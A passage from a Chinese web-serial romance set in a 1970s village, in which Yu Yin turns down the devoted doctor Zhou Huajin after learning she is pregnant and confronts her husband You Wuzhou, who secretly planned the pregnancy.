都拿出余阿舅的前途了,余银也不好再说什么,她往床上一躺,拉着被子盖好,“困了困了,睡觉吧,明还早起上工呢。” 游雾州起来吹了灯,也盖着被子睡觉了- 周华锦在秋假第二天就过来了,他以为要等那个好消息确定要很久,但没想到这么快。 得到消息后,他就迫不及待下队,来杨柳村了。 余银中午提前回去做饭,就在她家附近看到了个熟悉的身影。 周华锦朝她点点头,推着自行车走过来,“刚下工吗?累不累。” 余银看到他有些意外,这也太早过来了吧,她扭头四下看了看,“怎么今天过来下队啊,小周医生。” 周华锦眉梢轻扬,看着她道:“来告诉你好消息的。” 余银掀眸看她,眨了下眼,问他:“什么好消息,这么着急过来了啊?” 那好消息是跟她有关的好消息,但她怎么有种莫名不好的感觉呢? 还没细想,周华锦就歪头靠近她,余银蹙着眉避开,解释道:“那个啥,这还是村里呢,小周医生你说话离我太近了些。” 余银被他吓一跳,心扑通扑通跳着。 周华锦表情有些受伤,但毕竟是在杨柳村,确实不好离得太近。 他顿了顿,压着声音说:“我愿你等你离婚,家里人也同意了。” 这消息太大了,余银有些没反应过来。 他愿意等余银离婚,这个她是知道,他家里人同意这是肯定的。 但两句话连在一起。怎么觉得有些似乎不太对啊。 她愣了好半响,才迟疑地开口:“你把我的情况跟你家里说了?” “没有,只是他们给我介绍对象的时候,我说我有了看中的。”周华锦摇头,他对余银解释:“我只说了你结过婚。但,他们猜了出来,你还没离婚的事。” 他一边说着,余银一边警惕地看着周围有没有人走过来,生怕别人听到了。 “那你家里人还同意了?”余银声音有些艰涩。 “一开始没有的。”周华锦表情有些失落,他又笑着道:“但他们说了,如果你离婚了,他们会同意我们的。” “那不就是我现在还结着婚,你不能跟我来往的意思。”余银眼眸闪过一丝精光,她凝眉看着周华锦,“小周医生,我也没答应过你什么,不要让家人和你为难。成吗?” 周华锦没想到她猜到了家里人的完整说法,他垂眼道:“我没有很为难,他们也没有很为难。” “我愿意等你离婚的。” 第70章 第70章游雾州发现了? “那两三年也能等嗎?”余银眼眸微转,声音輕輕的。 “两三年?”周華锦皱了下眉,很快就松开了,他点着头道:“也没什么不可以的,这样更能证明我的决心。” 他看起来毫无不满,甚至还问余银,“如果时间上不够,也没事的,两三年都等的了,不在乎多点时间。” 余银紧抿着唇,而后道:“那你等我想想。” 她在周華锦走之后,脑子里一直在重复的想着这句话。 周華锦愿意等他离婚,他们家里人似乎也都松口了。 他人温柔体贴,待她也一直没做过什么越矩的举动,如今连两三年也愿意等,还无怨无悔的。 怎么看,余银找他都不亏。 况且最多也就三年,就到了游雾州要和她离婚的时候。 她因为周华锦来这一趟,今天一天都有些心神不宁的。 连中午下的面条,鹽都没放。 飯都盛到碗里来了,桌子上的人吃了两口,筷子都顿住,而后默不作声地接着吃。 雖然没啥味道,但是有吃的总比没吃的强,以前还没有飯吃呢。 余阿娘吃了两口,看着旁边的余银,一口没动,雖然拿着筷子挑着跟面条,她忍不住对余银道:“你想啥呢,今面条是不是鹽都没放?” “啊?”余银有些茫然,忙收回思绪,她吃了一口面条,表情有些僵硬的说道:“好像是没放鹽。” 她没放嗎?好像記得放了吧,但又好像真没放。 “什么好像,就是没放。”余阿娘见她心不在焉,放下筷子,手往余银后頸和额头上摸,“你是不是中暑了,还是累着了啊,咋魂丢了一样?” 这天还有些热,余银有好多天没幹过活,猛的这么累是有可能受不了的。 但摸着她也不烧啊,也没见她喊累啊。 余阿娘往游雾州那看了一眼,正好看到他掀眸看了余银一眼。 俩人又生气了?看着也不像啊。 余银有些不在状态的说,“可能有点累了,没中暑。” 余阿娘伸着头,不放心的又看了看他俩好几次。 吃完飯后,还又把余银拉到自己屋里,问她:“你跟小游俩人又闹啥别扭了?” 余银疑惑:“我俩闹别扭了?” “你俩没有嘛?”余阿娘拧着眉。 余银不知道,但他俩确实可能要闹别扭了,但也不是今天啊。 “那你今个是咋啦?”余阿娘没等她回答,又说道:“你做飯鹽都没放。” 余银真假话掺着说:“就是累着了吧,我这突然一下有点不适应,这昨天我觉得腰疼得,都快断了。” 她说完,还揉了揉腰。 一听说她腰疼得厉害,余阿娘往她腰那看过去,看她不像裝的,就说道:“要是疼的厉害,不行你歇一下午吧。” “算了。”余银摇头拒绝,“这会儿正忙着呢,游雾州一个挣钱的,都下地幹着活呢,我个不挣钱的歇着不像话。” 这家里都是谁能幹谁挣钱,谁有话语权。 去学校这段日子,余阿娘给余银贴了不少钱,讓她别觉得低了游雾州,还说等明年,讓她去学校工作。 余银知道余阿娘的良苦用心,而为这是给自家幹的活,干了也能分点粮,也是减輕自己家里的负担。 她没必要因为累一点就不干了。 余阿娘不放心她的腰,从屋子里找到一小瓶自己跑的藥酒,塞给余银,“小游估计腰也疼,你俩擦擦,可别把腰给累伤着了。” “这泡的指甲花?”余银拿着那藥酒,笑着道:“我都差点忘了这个东西,正好身上还有蚊子给我咬的。” “行了,回去歇会吧。”余阿娘摆手道。 余银拿着指甲花回屋的时候,游雾州竟然已经睡着了。 她动作极輕的关上门,蹑手蹑脚的往床上走去。然后脱了鞋子上床,看着赤着上身睡觉游雾州。 他的侧着睡的,倒也方便了。 /:. 余银盘腿坐在床边,把那藥酒拧开往手心里到了一点,然后双手搓了搓,等热热的,把手往游雾州腰间盖上去,然后轻轻揉着。 讓藥酒能渗进去。 不得不说,游雾州的腰还挺细,但他肩膀却又很宽厚。 她怎么感觉,其实她和游雾州才可能是有缘无份呢。 虽然结婚了,但注定是要分开的,跟周华锦比起来,有缘无份的是她和游雾州。 余银收回手,又拿着瓶往手心到了点,重复的往游雾州腰上揉着。 她的腰又酸又疼,弄完游雾州的腰,余银又给自己揉了揉。 中午没休息一会儿,他们就又起来上工了。 “你腰好点没?”余银打着哈欠去穿鞋。 她直接就睡在了外面床边,腿往下一伸,就穿上了鞋。 游雾州摸了下腰,问她:“我睡着你又给我摁了腰?” 他隐约記得好像余银在给他揉腰。 余银点了下头,“你不是腰疼嗎,正好娘那有跑的药酒。” 她穿好鞋子往门口走,游雾州也从床上下来了,穿上上衣,“等晚上回来给你也抹点。” 余银拉开门,往外走,“晚上回来再。” 游雾州抿着唇,看着走在前面的余银,眼眸中的晦暗不明和复杂情绪,在阳光下,清晰可见。 可能是中午抹了药酒,起来的时候确实好了点,但到了傍晚下工,她的腰又酸疼得厉害。 晚上一吃完饭,余银快速的洗完澡就催游雾州洗。 等游雾州一洗完,就拉着他往床上去。 现在穿的衣服都薄,尤其是刚洗完澡,都穿的背心和短裤,肌肤相贴,又往床上去。 游雾州觉得屋里的温度都高了不少。 他眼眸微闪,顺着她的力往床上一躺。 余银见他躺那,喊他:“你转一下。” “往哪转?”游雾州声音有些低哑,眼神过于炙热。 余银回头看他,很不理解的样子:“翻过去啊,不是给你擦药酒揉腰嘛,你忘了啊?” 这人自己中午说的啊,怎么还不记得了。 游雾州的臉有一瞬间的僵硬,见余银整个人都转过来了,他忙拉过被子,整个人快速地翻过去压着被子。 “我还以为你真忘了呢。”余银微啧一声。 余银准备先给游雾州揉,然后自己再慢慢享受游雾州给她摁。 “等我摁完了,你再给我摁啊。”余银倒了点药酒,开始搓手。 游雾州白高兴一场,很冷淡地嗯了一声。 余银怕游雾州待会摁着摁着睡着了,她又不好意思讓他别睡,跟游雾州找着话聊。 “林老師是不是看上盼娣了啊。”余银想到今天在地里干活时,听到村里人再说王大花再给柳盼娣张罗对象。 但她记得那个林老師对柳盼娣应该是有点意思的,不然每次在国营大饭店里的买的菜,都要带着去给柳盼娣吃。 这年头粮食多金贵啊,更别说国营饭店的菜了,谁愿意给一个认识没多久的人吃那好饭菜。 不是看上了是啥啊。 游雾州沉吟片刻,说道:“林老師朝我打听过柳盼娣的情况。” 林老師确实是对柳盼娣有点意思的,但再多的他也不知道。 俩人能不能成,要看他们自己。 而且柳盼娣的身份虽然没疑点,但是变化太大的,让他实在起疑。 况且柳盼娣依旧没停在黑市的买卖,这很有可能还会连累林老师。 余银边给他摁,边说道:“那要是真喜欢,咱们是不是要跟林老师说一声,我今可听说王大花正张罗着给柳盼娣张罗对象呢。” “你觉得林老师这个人怎么样?”游雾州问她。 “人挺好,长得也可以,家里也挺不错的。”余银客观评价道。 游雾州有些酸:“你对他评价倒是挺好。” “他确实就各方面都还可以啊。”余银道:“你看他家里表哥在饭店,姐夫又是工人,大哥也是工人,还有个妹妹也在上学,而且他家里也不穷,他又是个老师,可不就是都挺不错的。” “那你觉得柳盼娣家里呢?”游雾州抬头看她道。 余银垂着眼,想了好一会才说道:“她家里吧,怎么说呢,爹娘还算能干,但是就是不把他们几个姐妹当亲闺女看,只对那两个小的好,啥都想着那两个小的。” “当初不还要把柳盼娣卖给老强子,拿彩礼给那俩男娃子买东西吃,偏心的厉害。” 余银这么说着,游雾州就这么看着她,微微挑眉,“那你觉得林老师家里能不能打听到,如果他们结婚了,王大花会不会问柳盼娣婆家要钱?” 被游雾州这么一点,余银想到王大花平日里对自己娘家的做法,她不止偏心自己俩男娃子,还十分偏心她的娘家。 当初还把柳盼娣的工作免费给了她侄子。 这要是真跟林老师成了,那岂不是要把林老师家给榨干了啊。 余银忍不住道:“那他俩这……,柳盼娣以后也太难找了。” “光林老师愿意没用,还要看林家的态度。”游雾州淡淡道。 “林家的态度……”余银喃喃道,不知想到了什么。 看着思绪有些飘忽。 “你躺着吧,我给你摁会儿。”游雾州拍了拍余银的胳膊,坐了起来。 余银回过神来,把衣服往上掀开露出腰,往床上一趴。 “你说我都能看出来林老师对柳盼娣有意思,她自己估计也能吧。”她臉侧在枕头上歪着,声音有些嘟嘟囔囔的。 “不知道,可能吧。”游雾州倒着瓶子里的药酒,把手凑近鼻尖闻了闻,“这药酒里面泡了什么?” “就指甲花啊,咱菜地种的的,虎丫包指甲那个。”余银给她解释,“这指甲花泡酒应该是以前传下来的吧,啥都管治,跟那红花油效果差不多,还能哪让咬了也能抹。” 游雾州眼眸微闪,哦了一声。 他给余银像昨天那样揉着,两人没说几句话,余银就慢慢睡着了。 屋里还点着煤油灯,看着昏黄的光线下,看着余银侧着臉睡,嘴唇微微嘟着,看起来像个小孩子一样纯真。 可仅有那的心思,全招呼在了他的身上。 游雾州最近这段日子都会在想,是他对余银不够好吗,还是不够体贴呢。 怎么就要走了这一步呢…… 夜晚,余银睡的迷迷糊糊,似乎看到男人那骨节分明的手指,顺着她白嫩的臉颊,缓缓握上她那纤细的脖頸。 声音带着点丝丝寒气与警告:“小鱼,不听话。” 游雾州握着她脖子没用什么力,这么细脖颈,他一手就能握着,仿佛一用力掐着,就像那脆弱易折的花骨朵一样。 不听话的小鱼,是要受到惩罚的。 可是惩罚的太狠,他会心疼,太轻,又怕她长不住记性。 游雾州把余银翻过去,让她平躺着睡好,眼眸顺着握着她脖颈的手微微垂下,嘴角勾起了一抹淡淡的笑意。 明明是在平常不过的笑容,脸上却异常的平静。 让人看了莫名觉得,像是暴雨来临前的平静假象,但却又好像不止。 似乎还夹杂着难以言喻的情绪,让人脊背发寒。 被一直盯着的余银,即使是睡梦中,也似乎觉得有些发冷,那中恐慌和惧怕,让她往极有安全的地方凑去。 然后,游雾州怀里就多了人她,还找了个舒服的位置蹭了蹭。 游雾州被她这一举动觉得好笑,他的神色稍微缓和了一些,松开了握着她的脖颈,轻轻地捏了捏她的脸。 然后给她盖好被子,从床上起来。 又过了一会儿,后院里响起哗啦哗啦的水声…… 游雾州很早就醒了,他听着鸡叫,然后听着上工号子响起。 他就一直盯着余银看着,往常余银都要赖一会才起来,今天竟在号子响起第一声就睁开了眼。 游雾州眼眸的情绪还没来得及收回。 余银睁眼就对上了他那个发寒冰冷的眼神,缓缓僵住。 她又很快地闭上眼睛,心跳得很快,但又在努力地克制着不敢让跳太快,怕动静太大,游雾州察觉到她在不安。 他为什么会那个眼神看着自己? 昨晚她好像听到了游雾州说的话,那不是做梦。 余银瞬间打了个激灵,她怕游雾州看出来,举起胳膊裝作伸懒腰。 她强装镇定地再次睁开眼,这次没有看到游雾州刚才的眼神。 取而代之的是带着笑意的眼眸,和很平静贴心的声音:“要是腰还疼,今天就在家休息吧。” “啊?”余银握着拳揉脸揉眼,小声道:“算了,还是等真累的很了再歇吧,在家也是闲着。” 游雾州从床上坐起来穿衣服,“那你累了就回来歇着,别勉强啊。” 余银的腰还是有点不舒服,她扶着腰坐起来,打着哈欠道:“知道了,累垮了还要花钱看病,我肯定是不想花那个钱的。” 她又不傻,累倒了花钱还上不了工,她还不如少累点自己,要是真受不住了,她歇个半天,第二天还能去干呢。 游雾州听她这么说,也就没再劝她,只是说:“不是钱的事,是你累坏了不值当,还受罪。” 余银点着头,“嗯嗯,知道知道。” 原本余银还能坚持着的住,也不知道是不是游雾州这么一说,她又去地里没两天,就有些坚持不住了。 不止腰难受,身体也说不出的难受,头晕乏力的。 余阿娘觉得她怕是中暑的前兆,赶紧让她下午先别急着去了,“我去给你煮点绿豆汤,你喝点那个盐水,那医生不是说过吗。” 余银没啥胃口,连水都不想喝,但她又不好明明身体不舒服,也不喝,只好让游雾州给她少倒点水。 游雾州看了她一眼,去厨房给她倒了一满碗,递给她,“可以不直接一口喝完,但要全部喝完的。” 余银看着那一满碗的盐水,为之一愣,她手要是晃一下都要洒了出来。 她不敢相信的问游雾州,“我不是让你少弄点吗?这么一碗我喝的完吗?” 她觉得游雾州是在报复她,那天的眼神和那晚听到的,都是真实的。 虽然游雾州没发现自己和周华锦的事,但自己一定是哪里惹到了他。 而为很有可能,平时的游雾州都是装的,只有那才是游雾州对她的真实情绪。 毕竟好说余阿舅也帮了他那么多,还是为了他上大学才找的关系,他倒好,家里平反了,直接扭头把余阿舅举报关进去了。 余银觉得他真可怕,自己竟在不知不觉中,对他放松了警惕,幸而老天爷开眼,让她一下就看到游雾州没有伪装的面目。 但现在还不能撕破脸,周华锦的事也不能放弃,等到时候可以借周家,捞出余阿舅和余金。 “先喝两口,缓一会儿再喝点。”游雾州看着余银脸上的表情变了又变,勾着唇笑道。 余银对着他,有些僵硬的笑了下,“知道了。” 然后端着那碗盐水喝了两口。 那碗盐水最后都没喝完,她中午虽然没胃口,但也吃了点饭,让她喝那一大碗水,怎么可能喝的下。 而且她都要喝吐了。 余银想吐的张了下嘴,摸着肚子摇头道,“我真喝不下了,不喝了,不喝了。” 游雾州看了一眼那才下去一半的盐水,忍不住道:“再喝两口吧,真中暑可难受着。” 这中暑可不是开玩笑的,不仅难受,还能要人命。 他可不想余银因为中暑出了什么问题。 余银紧抿着嘴,像是生怕不喝了游雾州会灌她一样,摆手摇头的。 游雾州没好气的看了她一眼,无奈道:“那等你睡醒了记得把盐水喝完啊。” 余银欲哭无泪,她感觉她只是轻微的中暑,可能休息一会就好了,真的不用喝这么多盐水吧。 游雾州把碗放到床头的箱子上,扭头看着余银,有些严肃道:“可不能倒了啊,必须喝完。” 余银躺下去,感觉肚子晃着都是水,那水都到她嗓子眼了,难受死了。 闻言,轻哼一声,抱着肚子,转过身对着墙睡去。 游雾州看着她这样,低笑一声。 等到下午上工的时候,余银还在睡,游雾州轻轻拍了拍,在她耳边道:“阿舅说,今天好像有下队的医生在隔壁村,你下午给阿舅送绿豆汤的时候估计能碰到,让他给你看看。” 余银正睡的迷糊,也不知听进去没有,总之是应了两声。 游雾州这才出去了,走到院子里,余阿舅说:“下午那下队医生过来,你回来再叫她,她这睡着觉,不一定听进去了。” “我也是这样想的,下午休息那会儿,我回来叫她。”游雾州说道。 “走吧。”- 余银睡的不怎么很熟,她喝完一开始肚子撑的都是水,很难受,后面还是不舒服的样子。 她是迷迷糊糊听到了游雾州说的,等醒了的时候,她很自觉地下床,去把那半碗盐水给喝了。 喝完盐水,又去院子里洗了把脸,把厨房里晾好的绿豆汤装起来,拿着去给余阿舅和余阿娘们晾着。 她本来想先去地里给余阿娘们送,但这太阳一晒,没走几步,更是说不出的难受了。 余阿舅们干活那地在另一边的方向,余银掉了个头,朝着南边走过去。 余银经过游雾州的干活的地里,她本想直接走过去,但被楊大福看到,“是不是送绿豆汤的余银,小游在地那那头,我给你叫他啊。” 说完楊大福就朝着地那头喊游雾州,但喊了几声都没人应,反而听到那头有隐隐的声音传过来。 “他,不,在。” 杨大福额头上的汗呼呼往下流,他脖子上挂着毛巾,头上的汗往上蹭着,“要不你先去前头给余大队长,可能小游也直接过去了。” 余银垫着脚看了看,点头道:“那我先去给阿舅那,要是没人等送了回来再找他。” 她说完,从篮子里拿了两根黄瓜给杨大福。 “成,我待会见着他也说一声。”杨大福用脖子上的毛巾又擦了擦汗,才接过黄瓜。 余银又往前头去了,等走到余阿舅那边干活的地去,一问才知道人下午的时候,又被叫去别的地方了。 游雾州也不在。 幸好邻村离余阿舅干活的地很近,要不她这一趟等于空跑。 余银热了一头虚汗,额前的头发都被打湿了,她从框里拿出毛巾,擦了擦汗。 她是从邻村中间的后面过去,往村子里没走几步,就看到了下队的医生。 那医生被两三个人挡着,她也看不清,只能看到医生外面那衣服的一点白色。 等走近了才发现,那医生竟然是周华锦。【你现在阅读的是 】 70-80 第71章 第71章怀孕了,孩子不是他的?…… “先排队稍等一下啊。”周華锦看到又来人了,交代一句。 只是等看清来人是,瞬间顿住。 余银对着他微微点头,往在那排队看病的两人后面站过去。 “哎呦,闺女你这是咋了?”站余银前头那大娘回头看了一眼,吓了一跳,“来来来,你先看你先看,你这看着脸咋真白。” 余银本就皮肤白,此时她的嘴唇毫无血色,额前沁出豆大汗滴,看起来应该是很不舒服的。 她还没来得及说话,就被大娘一把拉住。 “起开起开,讓这闺女先看。”那大娘把她前头那人往旁邊扯开,拉着余银往周華锦面前一拉,“先给这闺女看看吧,瞅着怪吓人的。” “闺女你这手咋冰凉冰凉的啊?”那大娘摸着余银的手诧异道。 这天可看着不像能讓人手冰凉啊。 余银搖搖头,她难受的厉害,有气无力的跟那大娘说道:“好像是中暑了。” 大娘还想跟余银搭话,但见她实在难受,也看起来并不想多言,也就没多说,只是叮嘱道:“呦,这可不行啊,中暑你喝盐水没。” 周華锦打量着余银,薄唇紧抿,眼里有看得见的担忧,声音有些急促的问她:“哪不舒服?” “快给醫生说说。”那大娘很热切的说道。 余银輕垂着眼,把手往那桌子上一搭,微提一口气,说着她的症状:“我腰酸疼的厉害,喝了点盐水也没用,睡一觉起来,浑身都不舒服。” 她也不知道是怎么了,这两天也没吃什么别的东西。 要说热到了,她确实有点热,但也不至于热中暑了。 她看着周華锦的指尖輕輕搭在自己的手腕上,神色认真,但那眉宇却微微拢起。 余银心下咯噔一声,笑的有些勉强,“醫生,我这是怎么了?” 周华锦抬眸看了她一眼,眼神很复杂,他低着头很认真的把着脉。 “哎呦,这咋了呀,咋看得我心里也咯噔咯噔的。”大娘在一旁看着他们说道。 “另一只手。”周华锦松开她的手腕,声音有些艰澀,“我在确定一下。” 余银忐忑地伸出另一手搭上去,抿唇道:“是有什么问题嗎?” 周华锦蹙着眉沉默不語,余银和那个大娘都快要喘不过气来。 看着周华锦手有些顫抖的收回,余银忙问道:“到你什么情况?” 周华锦抬头,眼眶周围微微泛着红,他喉結微滾了下,声音很輕,“你动到胎气了,这两天最好静养,不放心再去醫院做个检查。” 余银倏地坐直身子,抬眸看着他,也打量着他,語气有些奇怪说:“确定没事嗎?” 周华锦一愣,搖了摇头,他捏着胸口的钢笔指骨泛起青白,顫着声音说:“没什么大问题,已经三个月多了,可能是你这两天秋收累到了,才会腰疼跟不舒服。” “哎呦呦,闺女你这是懷孕了啊。”那大娘扯着嗓子笑道,看着比余银这个当事人还要高兴。 她本来想问问这闺女是谁家的,又看她实在不舒服,没 听着那笑声,周华锦心里陡然发澀起来了。 她有孩子了,很有可能就不会离婚了。 他张了张口:“你——” 余银眼睫轻垂,很小幅度地摇了摇头,低声道:“对不起。” 周华锦还没来得及反应,一个微喘的低哑嗓音响起:“周醫生?余银没事吧?” “诶?这是哪家的后生啊,长得可真俊啊。”大娘眼睛一亮盯着过来的游雾州。 余银和周华锦同时看向游雾州。 三道视线都被盯着的游雾州,他神色坦然走到余银旁邊,手自然地搭在余银的肩上,姿势亲昵,声音关切:“看了嗎?周医生怎么说?” 余银从他脸上收回视线,垂眼看着肩上的手,不知在想什么。周华锦也死死盯着游雾州的手,嫉妒和不甘在心间萦绕。 “这俊后生是你男人啊?”不等他们开口,那大娘就接过话道:“她懷孕三个多月了,小周医生说她这两天秋收累着了,动着胎气了。” “三个月了?”游雾州搭在余银的肩上有些不自觉地用力。余银吃痛,朝他手上“啪”打了一下,皱眉道:“你手劲这么大幹啥?” 游雾州被她这么一打,脑子瞬间清醒,半蹲下身子,侧着头看她,眼睛忍不住泛红,手顫了颤,想碰又不敢碰。 他虽然早有预料,但等孩子来的时候,还是忍不住的紧张。 “游雾州,你不是早就知道了吗?”余银凑近他耳邊,冷声说道。 余银把篮子往地上一搁,起身对着周华锦点了下头,对着几步路的树下点了下头:“周医生,我能不能再问你点事。” “去吧去吧。”那大娘一副我懂的样子,估摸着余银是要问些,懷孕后同房私密的事情,她在这估摸着不好意思,很善解人意的说着。 游雾州还保持着半蹲着姿势,对于余银和周华锦过去说事,他倒也不是关心,只是大概知道他们谈话的内容。 余银说他早就知道,是说早就知道她和周华锦的事,还是她懷孕的事呢? 那她自己也都知道,他其实知道的,为什么还要这么做。 游雾州有不明白,也觉得自己好像看不清余银。 她到底是如何想的? 至于余银怎么想的,她最对不起的就是周华锦。 不管是讓他和家里闹了这么久,还是这么长时间一 直吊着他。 余银都辜负了这个男人的真心。 她黑白分明的眼睛眨了下,叹了口气,語气十分郑重:“对不起。” 周华锦头往上仰了下,看着头顶树叶里透出的斑驳光影,他喉結滾动,苦笑道:“我知道你有你的有难处,道歉,我收下了,我其实并不想听到你口中对我的歉意。” “可,可我竟然,竟然觉得你对我有歉意也是好的,至少你心里还能想着我。”他的声音颤抖着,听起来很难过。 余银对他真的有些不忍,她确实不知道该怎么说,但归根結底,都是她对不起周华锦。 她垂眼,轻声道:“以后擦亮眼睛,最好还是讓你家里介绍吧。” “可你一开始不也是嗎?”周华锦看着她,忍不住说道。 余银狠心道:“但我们确实是没有缘分。” “周华锦,你知道的,我結婚了,现在还有了孩子,我也并没有答应过你什么的。” 她一直有所保留,两个人都只是正常相处,甚至有时候站的距离看着很疏离。 余银也从来没答应过他什么,也没给过他什么确切的承诺或者答复。 “我知道。”周华锦脸微白,但依旧没对余银生气,他轻喃道:“我一直知道的,但都不重要了,都不重要了。” 他并不傻,也并不是看不出来,只是有时候人与人相处,没必要太过透彻。 可能时间久了,余银就不会对他有顾虑了,他想。 可是没有久的时间能给他了。 余银看了眼在那站着的游雾州,男人对上她的眼神立马移开,她在心里冷笑。 她抬眸对周华锦说道:“顾好自己,你很好,以后会遇到更好的,我不是一个好人,你喜欢的我都是装出来的,所以没有什么可难过,再见。” 她说完就直接离开了,也没叫游雾州,自己就离开了。 周华锦轻笑着摇头,苦涩道:“心可真狠啊。”- 她没走几步,游雾州就挎着篮子追了上来。 余银不想搭理他,见他过来看都不看他一眼。 脚下步伐走的很快,游雾州看着心惊胆战地。 他走近余银,声音暗哑恳切:“慢一点走,天热路也不平,我背你吧。” 余银脚步一顿,站那依旧不说话。游雾州连忙半蹲下身子,等余银刚趴上来时,他转过身扶着她,自己又站了起来。 不是要背她吗?逗她玩呢? 余银满眼不理解看着他,游雾州看了眼她的肚子,有些尴尬的说着:“压着肚子咋办,我去给你接个推车,你坐上面吧。” 虽然余银的肚子看不出什么,但背着,余银的肚子贴着游雾州的后背,本来就动了胎气,这要是再挤到咋办? 游雾州的担心不是没有道理,但推车在这路上,一颠一颠的走着,那不是更不合适啊。 余银翻了他一眼,往前继续走,只是脚下的步伐比较缓慢,每一步走的都刻意稳当。 看得出,她自己也很小心翼翼。 她喜欢孩子,也想要孩子,只是游雾州不想要,她一直没有机会。 现在这个孩子来了,不管结果如何,孩子都是她的,她做了许多打算,总能如愿以偿地。 余银这么想着。 游雾州一脸严肃地盯着余银走,生怕她哪一步没走稳,再摔倒了。 篮子里没有扇子,一路上游雾州一邊盯着余银的脚,一边一只手替余银挡着光,一只手扇着风。 余银看着他的这些举动,觉得有些奇妙,但心里也挺受用。 毕竟是她肚子里孩子的爹,对孩子重视,是她希望的。 俩人就这么走着,到了村子里,余银抿了抿唇,冷淡道:“你去给娘们送綠豆汤吧,等到下工了再说这个事。” 她想等下工后,亲口跟余阿娘们说这个好消息。 这样的好消息,当然是要一家人在一起,很隆重的说出来。 游雾州不知道她怎么想的,但她说什么就是什么,点头道:“我送你回家后,再去给娘和舅母送綠豆汤。” 他还是不放心余银,这本来就动了胎气,他也粗心,让余银在地里幹活累到了。 余银觉得他有些夸张了,忍不住说道:“我是看不清路啊,还是三岁小孩不会走路啊,你赶紧忙你的去。” 说完就往余家走,她走的也不急,很小心的,看到有人过来,就往旁边去点。 游雾州的心也松了些,拿着篮子走的急促,往北边余阿娘们幹活的地方去。 余家没人,虎丫和余庆去地里捡黄豆了,余银回来后,突然不知道要干什么了。 她坐在屋子里愣神好一会儿,手轻轻放在肚子上,觉得很不真实。 真的有孩子了吗? 周华锦毕竟是医院的医生,应该不会把错脉的。 但她的腹部很平坦,一点都看不出,可怀孕了肚子不都很大吗? 她确实除了腰有些酸疼,肚子也隐隐作疼,而且她那个来的时候也会腰疼跟肚子疼的。 要是怀孕了,肚子疼孩子不会有事吧,只说动了胎气,真没事吗? 余银有些胡思乱想,她就对王桂香怀孕没什么印象,就对虎丫出生后印象深刻。 小时候的虎丫都是她带着的,家里人都去上工了,虎丫又小着,都是她领着的。 刚出生的小孩很难带,尤其虎丫小时候。也不知道肚子里这个以后什么样,是很听话还是很不好带? 就算很难带也没事,她有经验也不怕。 腰又有些难受,余银揉了揉腰坐起来,去床上找那瓶指甲花泡的酒。 床上没有,她又去在屋子里找了找,也没有。 真是有点奇怪,她记得就在屋里放着啊,难道游雾州又还给余阿娘了? 余银从屋里出来,往前院余阿娘的房间走去,谁知道正要往屋里进去,游雾州就又回来了。 看见游雾州,余银扭头问他,“那个药酒你放哪了,是不是给我阿娘了啊?” “你要药酒干啥?”游雾州放下篮子走近她。 余银进了余阿娘屋里,说道:“我腰不舒服,想再抹点。” 游雾州没进去,听不真切她的声音,但突然想到了什么。 余银正翻找着,就听到外头的游雾州有些着急的喊她:“余银,别碰那药酒,你怀孕了不能用。” 她的手差一点就碰上药酒,骤然收回,空咽了下,问外面的游雾州:“不,不能用吗?” 游雾州往余阿娘屋里进去,是她解释道:“不能用,那药酒有活血化淤效果,怀孕了不能用,你那天晚上我没给你用。” 余银有些站不稳,她就是在用了药酒后,浑身不舒服的,幸亏她那天自己涂着不方便,没倒两下涂抹。 就那一点,她都有些胎不稳。 明明三个月胎都会坐稳了,却因为她涂那个药酒,导致动了胎气。 她咽了咽口水,心里直跳,“我还倒手里了给你摁。” 闻言,游雾州的心里一紧,他安慰着余银,“没事,周医生都说了,没什么事,别担心,以后咱们注意点就行了。” 他只想着不给余银用,忘记了余银给他揉腰的时候,也会倒进手心的,也接触了。 幸好,幸好没事。 余银抓着他的手臂,咬唇道:“我 有些不放心,想再看看。” 她真的害怕,她突然想起来,王桂香怀余庆的时候,那时候饥荒才过去没几年,她们家粮也不够吃。余阿娘那时候让她和余金少吃点,也要把饭给王桂香吃,说女人头一胎还是注意点好。 余银这也是大姑娘上花轿头一回,她实在担心有什么事。 游雾州明白她的心思,搂着她的肩膀,“没事的,你放心,晚上我去把隔壁村那个大夫请过来,让他给你看看,你现在不宜多动,要静养少动。” 又补充道:“去镇上来回颠簸,对你不好,等下工了,我去请那个大夫过来。” 余银一听这也就作罢,都说了要静养,她去县里来回奔波,折腾的可是肚子里的孩子。 于是轻轻“嗯”了一声。 “我扶着回屋去。”游雾州搂着她道。 余银没说话,跟着他往房间里走。 “你快去上工吧,我哪都不去了,就在床上坐着。”余银慢吞吞地上床,轻声道。 “我去镇上一趟买点东西,你有什么想吃的,想要的没,我给你带回来。”游雾州从箱子里拿了钱和票,是她道。 “去镇上干啥?”余银把被子拥起来靠在墙边,然后自己再靠在被子上,“你要买什么?我没什么想吃的,不用给我买。” “买点麦乳精,你最近都没怎么吃饭,这样不行。”游雾州给扇子递给她,又把蚊帐掖好,“我快点去,快点回,你困了就睡会。” “走了啊。”游雾州走到门口,又顿住,“门要不要关?” “随便你。”余银垂头看着肚子,她轻轻把手放在肚子上,喃喃道:“他对你还挺好的,想来也是欢迎你的。” 毕竟是他处心积虑要来的- 游雾州回来的比余阿娘他们还要早一些,他没让余银做饭,给她冲泡了一碗麦乳精,自己坐在厨房烧火做饭。 余银看着他提着一大包的麦乳精,也不知道他从哪弄来的。 估摸着很早就开始打算了。 余银抱着肚子,在院子里坐着,扭头瞪了厨房里的人一眼,这男人还是真是心思深沉。 估摸着那次没出来,就打算好了吧。 这样算来还真是挺早的,也从来没告诉过她。 嘴上还一直说余银有事不跟他商量,自己就决定了,现在看来,要孩子这么大的事,为什么都不告诉她? 她差一点都因为那个指甲花酒,把孩子弄没了。 而且她累的要死还下地干活,动了胎气。 这都是因为游雾州。 余银越想越气,抱着肚子站起来,往厨房走过去。 她对着厨房里正烧火做饭的人,没好气道:“游雾州要孩子这么大的事,为什么不告诉我,你要是说了,也不会因为用了药酒还下地干活,差点孩子都没了。” 她把事情说的严重,但万一真这么严重咋办。 而且她那个时而规律时而不规律,她知道游雾州不要孩子,就没那么注意。 这个男人悄不吭声地让她怀了孩子,难怪啊,难怪答应不碰她答应的这么痛快。 还真就一下不碰。 敢情是因为知道她可能是怀孕了,知道刚怀孕的时候不能做那事,所以不碰她呢。 余银气的抄起厨房里的柴火棍子,就朝着游雾州砸过去,没好气道:“你心思可真重啊。” 游雾州被砸了一下,脸上的神色微僵,听到她说他心思重那话,额角突突地跳着。 怕余银再动了胎气,尽量克制着自己的情绪,态度很好,用很温和的语气跟她说着:“是我的错,你先别生气。” 